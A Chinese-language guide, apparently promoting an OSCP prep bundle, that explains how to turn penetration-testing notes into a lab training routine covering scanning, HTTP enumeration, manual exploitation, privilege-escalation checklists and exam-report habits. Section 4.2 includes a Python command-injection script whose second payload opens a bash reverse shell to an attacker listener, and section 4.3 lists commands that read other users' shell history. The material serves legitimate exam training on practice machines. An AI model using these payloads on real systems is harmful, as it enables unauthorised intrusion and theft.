简介:这份资源面向渗透测试初学者与 OSCP 备考人员,系统整理了从信息收集到提权利用的通用测试方法与技巧,覆盖渗透测试全生命周期,可用于日常知识查询、靶机练习与考前查漏补缺。压缩包共 119 个文件,约 5.87MB,以 81 个 md 笔记文档为主体,辅以 png、jpg 图片、php、aspx、asp 等 Web 脚本、sh 与 py 脚本、c 与 pl 源码及 docx 考试报告模板,兼顾理论梳理与工具实操。内容涵盖 OSCP 考试要求、常见问题中文翻译、监考工具与学生手册、官方靶场攻略、Vulnhub 靶机 Writeup、Linux 与 Windows 提权思路,以及 Web 服务、系统服务等模块化笔记,并附有可直接参考的考试报告模板。目前已有 113 人学习下载,适合希望建立完整知识框架、对照靶机复盘操作步骤并积累工具脚本的读者按目录检索使用。
1. 备考 OSCP 的干货资料到底该怎么用:从一堆压缩包到能打靶的实战路线
很多人拿到「备考 OSCP 的各种干货资料,渗透测试干货资料.zip」这类压缩包,第一反应是解压、翻目录、收藏,然后就没有然后了。我见过太多人硬盘里躺着几十个 G 的渗透测试学习资料,笔记软件里存了几百篇 OSCP 备考文章,但真正坐到 Kali 前面打开终端,面对一台只给了 IP 的靶机,依然不知道第一步敲什么。问题不在于资料不够,而在于这些资料是碎片化的——PDF 讲义、命令速查表、靶机 walkthrough、工具配置截图混在一起,没有形成一条从「信息收集」到「提权拿 flag」的完整链路。OSCP 考试不考你背了多少命令,考的是在 24 小时内面对陌生环境,能不能按渗透测试流程稳定推进。所以这篇不讲资料里有什么,讲的是怎么把手里这些渗透测试干货资料拆成可执行的训练计划,让每一份资料都对应一个能动手复现的动作。适合已经决定考 OSCP、但被资料淹没不知道从哪下手的人,也适合想系统梳理渗透测试学习路线的从业者。
2. 把资料拆成训练模块:OSCP 考纲与渗透测试流程的对应关系
2.1 先搞清楚 OSCP 到底考什么,再决定资料怎么分类
OSCP 的考试形式是给你一个隔离网络里的若干台靶机,要求在限定时间内完成信息收集、漏洞利用、权限提升、横向移动,最终拿到指定文件并提交报告。它不考选择题,不考理论背诵,考的是在压力下按渗透测试流程推进的肌肉记忆。所以资料分类的第一原则不是按文件格式分,而是按「考试阶段」分。我一般会把所有资料先过一遍,然后打上四类标签:信息收集类、漏洞利用类、权限提升类、报告与复盘类。信息收集类包括 nmap 扫描策略、目录爆破字典、SMB 枚举脚本;漏洞利用类包括常见 Web 漏洞的利用思路、Metasploit 模块使用、手动利用脚本;权限提升类包括 Linux 和 Windows 的提权检查清单、内核漏洞对照表、配置错误排查;报告与复盘类包括 walkthrough 模板、截图规范、时间分配表。这个分类动作本身就是在帮你建立渗透测试流程的框架,因为当你把一份资料放进某个标签时,你已经在问自己:它在实战的哪个阶段用、解决什么问题。
注意:不要按「来源」分类,比如「某公众号合集」「某论坛打包」,那样你永远找不到东西。按阶段分,每个阶段建一个目录,资料文件名前面加序号表示推荐阅读顺序。
2.2 用一张对照表把资料映射到训练动作
分类完之后,下一步是把每个阶段的资料映射成具体的训练动作。我习惯做一张对照表,左边是考试阶段,中间是资料类型,右边是训练动作和验收标准。这样做的目的是避免「看了等于会了」的错觉。比如信息收集阶段,资料里可能有 nmap 命令速查表,但训练动作应该是:对一台本地靶机跑完整的 TCP 全端口扫描加服务版本探测,记录开放端口和对应服务,然后针对每个服务跑至少一个枚举脚本,最后输出一份信息收集清单。验收标准是清单里每个端口都有服务名称、版本号、可能的漏洞方向。漏洞利用阶段,资料里可能有 Web 漏洞利用的 PDF,训练动作是:在 VulnHub 或 HTB 的靶机上手动复现至少三种不同的 Web 漏洞利用,不依赖 Metasploit 的自动模块,自己构造请求或写脚本。权限提升阶段,资料里可能有提权检查清单,训练动作是:拿到一个低权限 shell 后,按清单逐项检查,记录每一项的结果,最终找到至少一条提权路径并执行。这张表不用很复杂,但必须写下来,因为写下来的过程就是你把资料转化成计划的过程。
| 考试阶段 | 资料类型 | 训练动作 | 验收标准 |
|---|---|---|---|
| 信息收集 | nmap 速查、字典 | 全端口扫描加服务枚举 | 输出含端口、服务、版本的清单 |
| 漏洞利用 | Web 漏洞 PDF、脚本 | 手动复现三种 Web 漏洞 | 不依赖自动模块拿到 shell |
| 权限提升 | 提权检查清单 | 按清单逐项排查 | 找到并执行一条提权路径 |
| 报告复盘 | walkthrough 模板 | 写一份完整靶机报告 | 含截图、命令、时间线 |
2.3 给每个模块设一个「最小可交付」目标
资料太多的时候,人容易陷入「先看完再练」的陷阱。我的做法是给每个模块设一个最小可交付目标,意思是:不管资料还剩多少没看,先完成一个能拿出手的成果。信息收集模块的最小可交付是一份靶机信息收集报告,漏洞利用模块的最小可交付是一个自己写的利用脚本,权限提升模块的最小可交付是一份提权检查记录,报告模块的最小可交付是一篇完整的靶机 walkthrough。这些成果不需要完美,但必须是动手做出来的。做完之后你会发现,资料里哪些内容真正有用、哪些只是重复,然后你再回头补资料,效率完全不一样。这个思路其实和渗透测试实战一样:先拿到一个立足点,再逐步扩大战果,而不是一开始就追求全盘掌握。
3. 用 Kali Linux 搭一个可复现的 OSCP 训练环境
3.1 靶机选择与网络拓扑的最小配置
OSCP 备考离不开靶机练习,但很多人卡在环境搭建上。常见做法是:攻击机用 Kali Linux,靶机用 VulnHub 或 HTB 的虚拟机,网络模式选 NAT 或 Host-Only。我一般会单独建一个虚拟网络,攻击机和靶机都接在这个网络上,避免和宿主机其他服务冲突。Kali 的配置不需要太复杂,但有几个点必须确认:网络连通性、DNS 解析、工具更新。先跑通 ping 和 nmap 扫描,确保攻击机能发现靶机。如果靶机是 VulnHub 的 OVA 文件,导入后检查网卡是否获取到 IP,没有的话手动配置静态 IP 或者检查 DHCP 服务。这个环境搭一次可以反复用,后面每台靶机只需要替换靶机虚拟机,攻击机配置不变。
# 查看 Kali 网络接口和 IP ip addr show # 确认路由表 ip route show # 测试与靶机连通性,假设靶机 IP 为 192.168.56.101 ping -c 3 192.168.56.101 # 快速扫描靶机开放端口 nmap -sS -p- --min-rate 1000 192.168.56.101 -oN quick_scan.txt这几条命令的逻辑是:先确认攻击机自己的网络状态,再确认能到达靶机,最后做一次快速全端口扫描。参数说明:-sS是 SYN 半开扫描,速度快且不易被日志记录;-p-表示扫描全部 65535 个端口;--min-rate 1000表示每秒至少发 1000 个包,加快扫描速度;-oN把结果保存到文件,方便后续对照。如果 ping 不通,先检查虚拟机网络模式是否一致,再看靶机防火墙是否拦截了 ICMP。这一步跑通之后,后面的训练才有基础。
3.2 用快照和脚本管理训练环境
训练环境最大的痛点是「练到一半环境坏了,重装要半天」。我的血泪经验是:每台靶机在干净状态时打一个快照,每次练习前恢复快照,练完如果环境乱了也恢复快照。Kali 这边也一样,装好基础工具后打快照,后面装了什么实验性工具导致环境异常,直接回滚。另外我会写几个小脚本放在/opt/oscp/目录下,比如reset_target.sh用来恢复靶机快照,start_scan.sh用来对指定 IP 跑标准扫描流程。这些脚本不需要多高级,就是把你重复敲的命令固化下来。比如下面这个扫描脚本,把信息收集阶段最常用的几步串起来,每次针对新靶机只需要改一个 IP 变量。
#!/bin/bash # start_scan.sh - 对指定靶机执行标准信息收集流程 TARGET=$1 if [ -z "$TARGET" ]; then echo "用法: ./start_scan.sh <靶机IP>" exit 1 fi echo "[*] 快速全端口扫描 $TARGET" nmap -sS -p- --min-rate 1000 -oN /opt/oscp/scans/${TARGET}_quick.txt $TARGET echo "[*] 对开放端口做服务版本探测" nmap -sV -sC -p $(grep -oP '\d+/tcp' /opt/oscp/scans/${TARGET}_quick.txt | cut -d/ -f1 | tr '\n' ',' | sed 's/,$//') -oN /opt/oscp/scans/${TARGET}_detail.txt $TARGET echo "[*] 扫描完成,结果保存在 /opt/oscp/scans/"脚本的逻辑是:先做快速全端口扫描,把结果存文件;然后从结果里提取开放端口号,拼成逗号分隔的列表,传给第二次扫描做服务版本和默认脚本探测。参数说明:-sV探测服务版本,-sC运行默认的 NSE 脚本,这两个一起用能快速拿到服务指纹。注意脚本里用了grep和cut从 nmap 输出里提取端口,如果你的 nmap 输出格式不同,可能需要调整正则。这个脚本不是万能的,但能省掉每次手动敲命令的时间,让你把精力放在分析结果上。
3.3 工具集的选择:够用就好,别陷入工具收集癖
Kali 自带了很多工具,但 OSCP 考试环境里不一定有 Metasploit 的全部功能,而且考试对 Metasploit 的使用有限制。所以训练时要有意识地练手动利用。我一般会把工具分成三类:必会工具、选会工具、备用工具。必会工具包括 nmap、gobuster/dirb、netcat、curl、wget、searchsploit、python3、gcc、john/hashcat。选会工具包括 Burp Suite、sqlmap、hydra、enum4linux。备用工具包括 Metasploit、impacket 套件、mimikatz。训练时优先用必会工具完成任务,选会工具用来提高效率,备用工具只在特定场景用。这样做的原因是:考试环境可能没有你习惯的某个工具,但如果你掌握了底层原理和手动方法,换个工具甚至不用工具也能完成任务。资料里如果有工具配置教程,先判断它属于哪一类,必会工具认真配,选会工具了解基本用法,备用工具知道存在即可。
4. 从信息收集到提权:把资料里的命令变成肌肉记忆
4.1 信息收集阶段:别急着扫,先想清楚扫什么
信息收集是渗透测试流程里最容易被低估的阶段。很多人拿到 IP 就一顿 nmap 猛扫,扫完看着一堆端口不知道下一步干什么。我的习惯是分三步:第一步,快速全端口扫描,确定哪些端口开放;第二步,对开放端口做服务版本和默认脚本探测,确定服务类型和版本;第三步,针对具体服务做深度枚举,比如 HTTP 服务跑目录爆破和页面分析,SMB 服务跑共享枚举和用户枚举,FTP 服务尝试匿名登录。每一步的输出都是下一步的输入,这样就不会迷失。资料里如果有信息收集清单,把它打印出来贴在显示器旁边,每台靶机都按清单过一遍,形成固定动作。下面是一个针对 HTTP 服务的枚举示例,假设扫描发现 80 端口开放。
# 对 HTTP 服务做基础探测 curl -I http://192.168.56.101 # 查看页面源码和注释 curl -s http://192.168.56.101 | head -100 # 目录爆破,使用常见字典 gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt -t 50 -o gobuster_80.txt # 如果发现 CMS,用对应工具枚举,比如 WordPress wpscan --url http://192.168.56.101 --enumerate u,p,t这几条命令的逻辑是:先用 curl 看 HTTP 响应头,了解服务器类型和重定向情况;再看页面源码,找注释、隐藏链接、框架特征;然后用 gobuster 爆破目录,找隐藏路径;如果识别出 CMS,用专用工具枚举用户、插件、主题。参数说明:-t 50表示 50 个线程,加快爆破速度但别太高以免打崩服务;-o保存结果。注意目录爆破字典的选择很关键,common.txt适合快速过一遍,如果没结果可以换更大的字典,但考试时时间有限,要权衡。这一步的验收标准是:你能说清楚这个 HTTP 服务用了什么技术栈、有哪些可见路径、哪些路径需要认证、有没有已知漏洞。
4.2 漏洞利用阶段:手动利用和自动利用的取舍
漏洞利用阶段最容易翻车的地方是:找到一个漏洞,直接上 Metasploit 模块,结果考试环境里模块不能用,或者模块执行失败不知道怎么排查。我的建议是:训练时先手动利用,理解漏洞原理和利用过程,再用 Metasploit 对比。比如发现一个 Web 应用的命令注入漏洞,先手动构造请求,用 curl 或者 Burp 重放,确认命令能执行;然后写一个简单的 Python 脚本自动化利用;最后再用 Metasploit 模块跑一遍,对比两者的差异。这样做的原因是:手动利用能让你理解漏洞的触发条件和限制,当自动工具失败时你知道从哪里排查。资料里如果有漏洞利用的 walkthrough,不要只看,要跟着敲一遍,然后关掉 walkthrough 自己再复现一遍。下面是一个命令注入的手动利用示例。
# 手动利用命令注入漏洞的 Python 脚本 import requests target = "http://192.168.56.101/ping.php" # 先测试基本连通性 payload = "127.0.0.1; id" data = {"ip": payload} resp = requests.post(target, data=data) print(resp.text) # 如果 id 命令执行成功,尝试反弹 shell # 注意:实际利用时需要替换为你自己的监听地址和端口 payload = "127.0.0.1; bash -c 'bash -i >& /dev/tcp/192.168.56.100/4444 0>&1'" data = {"ip": payload} requests.post(target, data=data)脚本的逻辑是:先发送一个简单的命令注入 payload,确认命令执行是否成功;如果成功,再发送反弹 shell 的 payload。参数说明:payload里的;是命令分隔符,具体分隔符取决于目标系统,Windows 用&或|,Linux 用;或&&。反弹 shell 的地址和端口要换成你攻击机的 IP 和监听端口。注意这个脚本只是示例,实际利用时要根据目标环境调整。训练时重点不是脚本本身,而是理解「为什么这个 payload 能执行」「如果不行怎么换分隔符」「怎么确认命令执行结果」。
4.3 权限提升阶段:提权检查清单比漏洞库更重要
拿到低权限 shell 之后,很多人开始翻内核漏洞库,找到一个看起来能用的就试,结果编译失败或者执行后系统崩溃。我的经验是:先做基础检查,再做漏洞匹配。基础检查包括:当前用户和权限、系统版本和内核版本、可写目录、SUID 文件、计划任务、环境变量、已安装软件、网络连接、敏感文件。这些检查不需要任何工具,几条命令就能完成。做完基础检查后,你通常能找到一两条明显的提权路径,比如某个 SUID 文件可以执行、某个计划任务以 root 运行且脚本可写、某个配置文件包含密码。只有在基础检查没结果时,才去匹配内核漏洞。资料里如果有提权检查清单,把它变成脚本,每次拿到 shell 先跑一遍。下面是一个 Linux 提权基础检查的命令集合。
# 当前用户和权限 id; whoami; sudo -l # 系统版本和内核 uname -a; cat /etc/os-release # 可写目录 find / -writable -type d 2>/dev/null # SUID 文件 find / -perm -4000 -type f 2>/dev/null # 计划任务 cat /etc/crontab; ls -la /etc/cron.* # 环境变量 env # 网络连接 netstat -antup # 敏感文件 ls -la /home/*; cat /home/*/.bash_history 2>/dev/null这些命令的逻辑是:先确认自己是谁、能做什么,再看系统版本判断是否有已知内核漏洞,然后找可写目录和 SUID 文件寻找配置错误,检查计划任务和环境变量寻找可利用的路径,最后看敏感文件和历史命令找密码或线索。参数说明:2>/dev/null是把错误输出丢弃,避免权限不足的报错刷屏。这些命令跑完,你手里应该有一份清单,然后逐项分析哪些可以利用。注意不要一上来就跑内核漏洞利用脚本,那样容易把靶机打崩,而且考试时靶机崩溃可能无法恢复。
5. 避坑与排查:OSCP 备考资料使用中的五个常见翻车点
5.1 资料收集了一大堆,但从来没有完整打通过一台靶机
现象:硬盘里存了几十 G 的渗透测试资料,笔记软件里收藏了上百篇文章,但从来没有从头到尾独立完成一台靶机的渗透测试。原因:陷入了「收集即学习」的错觉,把下载和收藏当成了掌握。解决:强制自己选一台难度适中的靶机,比如 VulnHub 上的 Kioptrix 系列或者 HTB 上的 Easy 靶机,不看任何 walkthrough,从信息收集开始,每一步自己记录,卡住了先查自己的笔记和资料,实在不行再看提示。完整打通一台靶机的收获,比看十篇 walkthrough 都大。
5.2 过度依赖 Metasploit,考试时发现模块不能用
现象:平时练习时习惯用 Metasploit 的exploit模块,一条命令拿到 shell,但考试环境对 Metasploit 的使用有限制,或者目标环境不兼容模块,导致无法利用。原因:跳过了漏洞原理和手动利用的学习,直接用了自动化工具。解决:训练时强制自己先手动利用,再用 Metasploit 对比。具体做法是:找到一个漏洞后,先查漏洞原理,手动构造请求或写脚本,确认能利用成功;然后再用 Metasploit 跑一遍,观察模块的输出和手动利用的差异。这样即使考试时不能用 Metasploit,你也能手动完成。
5.3 信息收集不完整,漏掉关键端口或服务
现象:扫描时只扫了常见端口,或者只用了默认的 nmap 扫描参数,结果漏掉了高位端口上的关键服务,导致后面找不到入口。原因:扫描策略太粗糙,没有做全端口扫描和服务版本探测。解决:每台靶机先做一次全端口快速扫描,确认所有开放端口;然后对每个开放端口做服务版本和默认脚本探测;最后针对具体服务做深度枚举。不要跳过任何一步。如果时间允许,换不同的扫描参数再扫一遍,比如 UDP 扫描、特定脚本扫描。
5.4 提权时盲目尝试内核漏洞,导致靶机崩溃
现象:拿到低权限 shell 后,直接搜索内核版本对应的漏洞利用脚本,编译执行后靶机崩溃或重启,丢失 shell。原因:跳过了基础提权检查,直接上内核漏洞,而内核漏洞利用本身风险很高。解决:先做基础检查,包括 SUID、计划任务、可写文件、环境变量、敏感文件等,这些检查通常能找到更安全的提权路径。只有在基础检查无结果时,才考虑内核漏洞,而且要先在本地环境测试,确认稳定后再在靶机上执行。考试时靶机崩溃可能无法恢复,所以能不用内核漏洞就不用。
5.5 报告写得太简略,丢了本该拿到的分
现象:靶机打穿了,flag 也拿到了,但报告写得太简单,截图不全、命令没记录、时间线混乱,导致分数不理想。原因:平时练习时没有养成写报告的习惯,觉得拿到 flag 就结束了。解决:每台靶机练习结束后,花 30 分钟写一份完整的 walkthrough,包括信息收集、漏洞发现、利用过程、提权过程、flag 获取,每一步都附上命令和截图。报告模板可以从资料里找,但内容必须自己写。写报告的过程也是复盘的过程,能帮你发现哪些步骤当时没想清楚。
6. 用「盲打复盘法」把资料里的知识变成考试时的条件反射
最后一章讲一个我备考时反复用的技巧:盲打复盘法。具体做法是:选一台已经打通过的靶机,重置到干净状态,然后不看任何笔记和 walkthrough,从零开始重新打一遍,全程录屏或者记录命令。打完之后,对比第一次的记录,看哪些步骤变快了、哪些步骤还是卡、哪些步骤用了不同的方法。卡住的步骤就是你的薄弱环节,回到资料里针对性补强。这个方法的本质是:把「看过」变成「做过」,再把「做过」变成「不假思索就能做」。OSCP 考试时间紧张,没有时间让你慢慢回忆某个命令的参数,你需要的是看到端口就知道下一步扫什么、看到服务就知道枚举什么、拿到 shell 就知道检查什么。这种条件反射只能通过反复盲打来建立。
我一般会准备一个「盲打清单」,列出所有打过的靶机,每台标记盲打次数和卡住的步骤。盲打三次以上且没有卡住的靶机,可以暂时放一放;盲打时反复卡住的步骤,回到资料里找对应的章节重新学。这个清单不需要很复杂,一个表格就够。另外,盲打时尽量模拟考试环境:限定时间、不用 Metasploit 的自动模块、只允许查自己的笔记。这样练出来的能力才是考试时能用的。
| 靶机名称 | 难度 | 盲打次数 | 卡住步骤 | 补强资料 |
|---|---|---|---|---|
| Kioptrix Level 1 | Easy | 3 | SMB 枚举 | 资料第 2 章 |
| Kioptrix Level 2 | Easy | 2 | 提权检查 | 资料第 4 章 |
| HTB Legacy | Easy | 3 | 无 | 无 |
| HTB Blue | Easy | 2 | 手动利用 | 资料第 3 章 |
最后说一个我自己的习惯:每次盲打结束后,不管成功还是失败,都写三句话——哪里变快了、哪里卡住了、下次怎么改。这三句话比任何长篇总结都有用。备考 OSCP 的过程就是不断发现自己的盲区然后补上的过程,资料只是工具,真正让你通过考试的是那些你反复练过、已经变成条件反射的动作。希望帮到你。
本文还有配套的精品资源,点击获取